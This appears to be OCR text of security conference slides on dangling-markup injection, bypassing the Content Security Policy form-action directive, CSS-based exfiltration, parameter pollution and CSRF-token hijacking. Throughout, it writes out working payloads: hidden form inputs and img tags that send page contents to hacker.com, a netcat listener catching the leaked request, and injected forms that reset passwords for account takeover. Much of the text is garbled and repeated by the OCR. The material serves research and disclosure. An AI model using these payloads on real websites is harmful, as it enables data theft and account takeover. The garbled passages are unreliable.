He-igeiiEs e /vulnerable.aspx?’xss=



<form action="/vulnerable.aspx" method="GET">

<input type="submit" value="Submit button" style="invisible..." />

<textarea name="exfiltrated_data">

Secret data:

<div>
<span>
<span>
<span>
</div>
<div>
<span>
<span>
<span>
</div>

Name:
Email:
Phone:

Name:
Email:
Phone:

No quote here.

Zero-cool </span>
0-cool@hackers.com </span>
+1 (337) 31337-31337 </span>

Acid burn </span>
acid-burn@hackers.com </span>
+1 (337) 999-777-999 </span>

/vulnerable.aspx?xss=



<form action="/vulnerable.aspx" method="GET">

<input name="xss" type="hidden"
value="<img src='//hacker.com/exfiltrate data/' referrerpolicy='unsafe-url' />" />

<input type="submit" value="Submit button" style="invisible..." />
<textarea name="exfiltrated data">

Secret data:

<div>
<span> Name: Zero-cool </span>
<span> Email: 0-cool@hackers.com </span>
<span> Phone: +1 (337) 31337-31337 </span>
</div>
<div>
<span> Name: Acid burn </span>
<span> Email: acid-burn@hackers.com </span>
<span> Phone: +1 (337) 999-777-999 </span>
</div>

No quote here. /vulnerable.aspx?xss=



<form action="/vulnerable.aspx" method="GET">

<input name="xss" type="hidden"
value="<img src='//hacker.com/exfiltrate data/' referrerpolicy='unsafe-url' />" />

<input type="submit" value="Submit button" style="invisible..." />
<textarea name="exfiltrated data">

Secret data:

<div>
<span> Name: Zero-cool </span>
<span> Email: 0-cool@hackers.com </span>
<span> Phone: +1 (337) 31337-31337 </span>
</div>
<div>
<span> Name: Acid burn </span>
<span> Email: acid-burn@hackers.com </span>
<span> Phone: +1 (337) 999-777-999 </span>
</div>

No quote here. /vulnerable.aspx?xss=



<form action="/vulnerable.aspx" method="GET">

<input name="xss" type="hidden"
value="<img src='//hacker.com/exfiltrate data/' referrerpolicy='unsafe-url' />" />

<input type="submit" value="Submit button" style="invisible..." />
<textarea name="exfiltrated data">

Secret data:

<div>
<span> Name: Zero-cool </span>
<span> Email: 0-cool@hackers.com </span>
<span> Phone: +1 (337) 31337-31337 </span>
</div>
<div>
<span> Name: Acid burn </span>
<span> Email: acid-burn@hackers.com </span>
<span> Phone: +1 (337) 999-777-999 </span>
</div>

No quote here. /vulnerable.aspx?xss=



form-action Content Security Policy bypass

<img src='//hacker.com/img' referrerpolicy='unsafe-url' />



form-action Content Security Policy bypass

<img src='//hacker.com/img' referrerpolicy='unsafe-url' />

GET /img HTTP/1.1

Host: hacker.com



form-action Content Security Policy bypass
<img src= referrerpolicy= />

GET /img HTTP/1.1
Host: hacker.com

User—-Agent: Mozilla/5.0 (X11; Linux x86 64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36

Accept: image/avif, image/webp, image/apng, image/svg+xml, image/*;

Accept-Encoding: gzip, deflate, br, zstd



& /vulnerable.aspx?

Secret data:

Name: Zero-cool
Email: 0-cool@hackers.com
Phone: +1 (337) 31337-31337

Name: Acid burn
Email: acid-burn@hackers.com
Phone: +1 (337) 999-777-999




& /vulnerable.aspx?xss=<form action="" method=get><textarea name=exfiltrated_data>

<p><b><b\ﬂ> -
Secret data:
</p></b></b&>
<div>
<span> Name: Zero-cool </span>
<span> Email: @-cool@hackers.com </span>
<span> Phone: +1 (337) 31337-31337 </span>
</div>
<div>
<span> Name: Acid burn </span>
<span> Email: acid-burn@hackers.com </span>
<span> Phone: +1 (337) 999-777-999 </span>
</div>
No quote here.
<img src="/imgs/coffee.png” width="255px" height="10000px" /> o




& /vulnerable.aspx?xss=<form action="" method=get><textarea name=exfiltrated_data>

L
Submit button
Secret data:
</p></b></b&>
<div>
<span> Name: Zero-cool </span>
<span> Email: @-cool@hackers.com </span>
<span> Phone: +1 (337) 31337-31337 </span>
</div>
<div>
<span> Name: Acid burn </span>
<span> Email: acid-burn@hackers.com </span>
<span> Phone: +1 (337) 999-777-999 </span>
</div>
No quote here.
<img src="/imgs/coffee.png” width="255px" height="10000px" /> o




& /vulnerable.aspx?exfiltrated_data=<p><b><h4>%0D%0A Secretdata: %0D%0A</p></b></h4>%0A+

Secret data:

Name: Zero-cool
Email: 0-cool@hackers.com
Phone: +1 (337) 31337-31337

Name: Acid burn
Email: acid-burn@hackers.com
Phone: +1 (337) 999-777-999




& /vulnerable.aspx?exfiltrated_data=<p><b><h4>%0D%0A Secretdata: 9%O0D%0A</p></b></h4>%(A+

Secret data:

Name: Zero
Email: 0-cool@
Phone: +1 (337) 31

Name: Acid burn
Email: acid-burn@hackers.com
Phone: +1 (337) 999-777-999

<img src= referrerpolicy=




| tr3wéspine-ripper:- $ nc -1 -vv -p 4444
Listening on 0.0.0.0 4444 S
Connection received on localhost 36208

' GET /exfiltrate data/ HTTP/l.1

Host: 127.0.0.1:4444

Connection: keep-alive

sec-ch-ua-platform: "Linux"

User-Agent: Mozilla/5.0 (X11; Linux x86_ 64) ApplewWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0
sec-ch-ua: "Chromium";v="130", "Google Chrome";v="130", "Not?A Brand";v="99"

sec-ch-ua-mobile: 20

' Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8

Sec-Fetch-Site: cross-site

. Sec-Fetch-Mode: no-cors

Sec-Fetch-Dest: image
http://lab.localhost/xss/dangling-div.php?html_injection=%3Cimg+src$3D827%2F82F127.0.0.1%3;
 F¥27+referrerpolicy%3D%27unsafe-url%27&sexfiltrated data=%3Cp%3E%3Cb%3E%3Ch4%3E%0D%0A%095ecret+datat!
| $3E%3C%2Fh4%3E%0D%0A%0DS0A++++++++83CdivE3ES0DR0A++++++++++++83CSpant 3E+Name s 3A++++Zero-cool+$3CE2F:
. $3Cspan%3E+Email%3A+++0-cool%40hackers.com+%3C%2Fspan%3ES0DR0A++++++++++++83Cspant 3E+Phone$ 3A+++%2B]
3C%2Fspan%3E%0DS0A++++++++%3CE2Fdive3ER0DR0AR0DS 0A++++++++%3CdivE3ER0DR0A++++++++++++283Cspant 3E+Name
pan$3E%0DS 0A++++++++++++%3Cs5pant3E+Email ¥ 3A+++acid-burnt40hackers.com+%3C%2Fspant 3ES0DR0A++++++++++4
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Accept-Encoding: gzip, deflate, br, zstd

Accept-Language: en-US,en;g=0.9,es;q=0.8



Ways to leak a URL

<img src='https://hacker.com' referrerpolicy='unsafe-url' />

<link

<link

<link

<link

<link

<link

referrerpolicy='unsafe-url'
referrerpolicy='unsafe-url'
referrerpolicy='unsafe-url’
referrerpolicy='unsafe-url’
referrerpolicy='unsafe-url’

referrerpolicy='unsafe-url’

rel="preload" as="font" href="https://hacker.com" />

rel="preload" as="image" href="https://hacker.com" />

rel="preload" as="script" href="https://hacker.com" />

rel="preload" as="style" href="https://hacker.com" />

rel="preload" as="track" href="https://hacker.com" />

rel="stylesheet" href="https://hacker.com" />




Redirect

<meta http-equiv="Refresh" content="0, url=https://hacker.com/" />

<meta name="referrer" content="unsafe-url" />



form-action Content Security Policy bypass

<a referrerpolicy="unsafe-url" href="https://hacker.com"
style="opacity: 0; width: 100%; height: 100%;
position: absolute; top: 0; right: 0;" />



Websites that do use form-action

@ 'self' @ other domain / 'none'




Websites whose form-action can be bypassed

@® Exploitable @ safe

Safe 1.5%

Exploitable 98.5%



Other tactics for dealing with
the Content-Security-Policy



style-src 1s always set to 'unsafe-inline'



style-src is always set to 'unsafe-inline'

CSS i1is dangerous but a lot of people don't know

) Websites that allow inline CSS




style-src 1s always set to 'unsafe-inline'
Algorithms with CSS:

Arithmetic operations
Emulate memory
Conditions

Loops

Gareth Heyes, Eduardo Vela Nava, David Lindsay at Blue Hat:

https://thespanner.co.uk/2008/10/20/bluehat



https://thespanner.co.uk/2008/10/20/bluehat

Exploitation tool by Portswigger researcher Gareth Heyes

<style> Qimport 'https://portswigger-labs.net/blind-css-exfiltration/start'; </style>

- £ N T T T = TS T
S locathost:4000/testhimi X + v
& 9 G O localhost:4000/test.html Qa 6 « » ON | &
rae) Bements Console Sources Network Performance Memcry  Application  Securlty » @2 @zxﬁ
20 Y Q Proserve log Dsablocache Notvotting v = 1 & @
e tor Irvent Hide data URLs () Hide extension URLS
blah blah
A1 Doc US| FelchIOMR | (CSS Font imy Media |Maniest || WS | Wesm | Other () Blocked response cookies (1) Biocked requests
Delete account Srd-party requests
10m 0m 20m 0 wm om Toma O 0m 10m |
P tTERY d ~y
]
Leam more 3
i
o
i Console What'sNew X Issues X "f
.

Highights from the Chrome 119 update
Improved @property section in Elements > Styles

al

Updated list of devices



https://x.com/garethheyes

style-src 1s always set to 'unsafe-inline'

More research on CSS-based attacks:

presentation on scriptless attacks:
text node reader:

font ligatures:

Data exfiltration in Firefox via single injection point:

recursive imports technique:

recursive import exfiltration tool:


http://heideri.ch/
https://www.slideshare.net/x00mario/stealing-the-pie
http://twitter.com/kinugawamasato
https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html
http://twitter.com/SecurityMB
https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/
http://twitter.com/SecurityMB
https://research.securitum.com/css-data-exfiltration-in-firefox-via-single-injection-point/#:~:text=Firefox%20and%20stylesheet%20processing
https://research.securitum.com/css-data-exfiltration-in-firefox-via-single-injection-point/#:~:text=Firefox%20and%20stylesheet%20processing
https://twitter.com/cgvwzq
https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231
https://twitter.com/d0nutptr
https://github.com/d0nutptr/sic

Overwrite form input with
parameter pollution



Overwrite 1input with parameter pollution

<form action="/change password">

<input
<input
<input

<input

name="current password" type="password" />
name="new password" type="password" />
name="new password repeat" type="password" />

type="submit" value="Change password" />



Overwrite 1input with parameter pollution

<form action="/change password">

<input name="new password" value="account-takeover" hidden />
<input name="new password repeat" value="account-takeover" hidden />

<form action="/change password">
<input name="current password" type="password" />
<input name="new_ password" type="password" />
<input name="new password repeat" type="password" />

<input type="submit" value="Change password" />



Overwrite 1input with parameter pollution

<form action="/change password">

<input name="new password" value="account-takeover" hidden />
<input name="new password repeat" value="account-takeover" hidden />

<form action="/change password">
<input name="current password" type="password" />
<input name="new_ password" type="password" />
<input name="new password repeat" type="password" />

<input type="submit" value="Change password" />



Overwrite 1nput with parameter pollution

Sometimes the 1st parameter 1is used

Sometimes the 2nd parameter 1s used

https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810£89



https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89

Hijacking CSRF tokens



Hijacking CSRF tokens

<form action="/search">

<input name="CSRF_ token" type="hidden"
value="42e18d6d8dd684bc9355a553b5db0134" />

</form>



Hijacking CSRF tokens

<form action="/change recovery email">

<input name="recovery email" value="0O-cool@hackers.net" hidden />

<form action="/search">
<input name="CSRF_ token" type="hidden"
value="42e18d6d8dd684bc9355a553b5db0134" />

</form>



Hijacking CSRF tokens

<form action="/change recovery email">

<input name="recovery email" value="0O-cool@hackers.net" hidden />

<form action="/search">
<input name="CSRF_ token" type="hidden"
value="42e18d6d8dd684bc9355a553b5db0134" />

</form>



Conclusions



Exploitation is still possible
if form-action is not used

The great majority of websites don't use this directive
( ~82.5% of the time )



The form-action directive can be bypassed
¢ Even if form-action is set to 'self' forms can still be
used to exfiltrate the document to an external domain.

¢ The whole document is consumed, no need of a closing
quote.

e User interaction is required: 1 click.

e 87.5% of websites set form-action to 'self'



The bug bounty can pay 1f the app has a login

The password manager can be used even if the form fields
have the autocomplete=off attribute



Dangling Markup Injections are useful
when form-action is set to '"none'

These attacks do not require user interaction.

These attacks can be blocked by means of other directives
( img-src, style-src, frame-src )

The <a> attack requires 1 click from the user but
it cannot be blocked by any CSP directive.

There must be a closing quote somewhere in the document.



When form-action is set to 'self'

The application remains vulnerable to some attacks.

e Same-Site Request Forgery

® Overwrite original form values via parameter
pollution.

¢ The form-action Content Security Policy bypass.



Michal Zalewski, @lcamtuf

I didn't know some of these techniques
have been public since 2011.

Others are new.

Postcards from the post-XSS world
(2011)

https://lcamtuf.coredump.cx/postxss/



https://lcamtuf.coredump.cx/postxss/

Write-up:

X:
Mastodon:


http://www.nzt-48.org

